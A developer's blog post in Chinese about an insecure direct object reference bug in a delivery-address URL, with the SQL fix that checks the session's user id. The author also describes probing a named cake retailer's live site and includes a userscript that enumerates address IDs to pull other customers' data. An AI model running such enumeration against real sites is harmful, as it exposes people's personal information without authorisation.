1. 程式人生 > >那些年我們踩的坑,依然有人在踩坑

那些年我們踩的坑,依然有人在踩坑

       去年公司南山接了一個大單,由於專案沒有類似的借鑑完全要靠自己摸索,然後是做一版感覺不行又要調整,反反覆覆修改,然後新功能又要開發,一時一個人根本忙不過來,非常頭痛,為工作更方便乾脆安營扎山寨在客戶那邊,邊開發邊討論解決方案,每天都是半夜才回到家。但是由於新功能要開發,舊的版面也在做調整,然後也有些許bug要修補,一個人工作量太大了,一邊客戶要求進度快,所以很多細節就忽略了,但也這樣埋下了安全隱患。工作持續三個月左右,終於是要開發完成了,心中甚是高興,終於一個專案又要完成了。但也這個時候,客戶找一個專業測試員,專門測試系統的漏洞,之前埋下的禍根就顯現出來了,一下找到7、8個漏洞,其中包括線上支付,客戶資訊的安全等。

舉個栗子客戶資訊是怎麼不安全的

在查詢使用者資訊的時候使用sql

select top 1 * from addr where id=地址id

在正常情況下,這個是肯定是沒有問題的,使用者的地址id是唯一。但是呢,如果在web網站下,使用get請求去獲取,使用者隨便修改一個id,那麼可能是獲取到別的客戶的資訊了,這時候其他客戶的資訊嚴重洩露了。

如web地址get地址是/user/deliveryAddress/55,使用者輸入的是/user/deliveryAddress/56 

所似我們正確做法是,從當前登入的session中獲取使用者id,同時使用使用者id和地址id對比,這樣才不會出錯。

select top 1 * from addr where id=地址id and userid=使用者id

確保此地址的資訊是當前使用者的

 

 

這種錯誤是不是隻我才犯過呢?其實不然

前幾天某蛋糕被曝不是當天新鮮製作,內部管理亂得一塌糊塗,其實之前也在他們家買過蛋糕,於是好奇去了他們官網看一下,無意中發現在使用者修改地址資訊的時候也是使用者我之前的方式獲取資訊/user/deliveryAddress/id 。

做為一個it,之前我就犯過這種錯誤,好奇之下,我隨便修改了一個地址id,果然地址資訊改變了,看到其他使用者的資訊。後來為了驗證,我在tampermonkey上寫一個迴圈

// ==UserScript==
// @name         xfxb
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        https://www.xfxb.net/*
// @require    http://code.jquery.com/jquery-1.11.0.min.js
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    for(var i=1000;i<1005;i++){
        $.get("/user/deliveryAddress/"+i, function(result){
            console.log(result);
        });
    }
    // Your code here...
})();

出現了以下資訊

輕鬆拿到其他使用者的地址資訊,看來其他人也同樣會犯這種錯誤。

 

@某蛋糕網站的It,你的漏洞了該修復了

 

記錄踩過的坑,希望其他人少踩到相同的坑,並且能在CNBLOGS這找到解決辦法